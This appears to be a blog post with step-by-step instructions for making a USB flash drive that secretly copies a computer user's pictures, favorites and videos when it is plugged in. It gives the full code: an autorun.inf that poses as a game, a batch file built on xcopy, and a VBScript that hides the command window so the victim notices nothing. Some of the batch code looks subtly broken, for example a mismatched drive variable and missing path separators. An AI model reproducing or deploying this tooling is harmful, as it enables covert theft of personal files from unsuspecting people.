PENDRIVE THAT CAN COPY USERS DATA AUTOMATICALLY???

WANT A PENDRIVE THAT CAN COPY USERS DATA AUTOMATICALLY???

Ok there is no order in the file creation process just that you have all files created and on the flash drive. I will start out with the autorun.inf. This file is used when you insert the flash drive into said computer.
Here is the code, you will have to open a simple word editor such as
word, you can past this code into wor
d and edit to your heart s content.

[autorun]
icon=drive.ico
open=launch.bat
action=Click ok to Run game for Windows
shellopencommand=launch.bat
make the file for copy of drive
This is the heart of the flash drive copy I am not going to go through every line of code here but if you have questions just ask or use Google,

@echo off
:: variables
/min
SET odrive=%odrive:~0,2%
set backupcmd=xcopy /s /c /d /e /h /i /r /y
echo off
%backupcmd% "%USERPROFILE%pictures" "%drive%allMy pics"
%backupcmd% "%USERPROFILE%Favorites" "%drive%allFavorites"
%backupcmd% "%USERPROFILE%videos" "%drive%allvids"
@echo off
cls
what this code does
looks for what drive letter the flash drive is and sets it
starts xcopy
looks for current users pictures, favorites, and videos folder then copy's them to the found flash drive in folders my pics, favorites, and vids
clears screen and shuts down window

now the fun part of this code it can be changed to suit your needs say you need to copy say music folder the code would change to %backupcmd% "%USERPROFILE%music" "%drive%allmusic"

VB SCRIPT TO RUN CMD IN STEALTH MODE....

This code is very simple it runs the file.bat as a process so it does not show the cmd prompt and everything the batch file is processing
Code it with word and save as invisible.vbs

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

MAKING A BATCH FILE TO RUN VBSCRIPT

ok this batch file does two things, it looks for the invisible.vbs file in the root of the flash drive then loads it with file.bat so file.bat is run with code from vbs file.... neat huh.

create with word and save as launch.bat

wscript.exe invisible.vbs file.bat

Go to the root of the PEN drive and create a folder named all that's it for this step. All the documents will be saved in this folder in there separate folders.

No comments:

Post a Comment